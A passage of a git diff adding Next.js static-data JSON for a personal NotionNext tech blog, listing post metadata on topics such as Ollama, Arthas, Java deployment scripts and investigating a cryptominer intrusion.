25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"archivePosts":{"2024-03":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""}],"2024-01":[{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]}},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/article/240119-notion.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/240119-notion.json
new file mode 100644
index 000000000..3f5be1734
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/240119-notion.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26b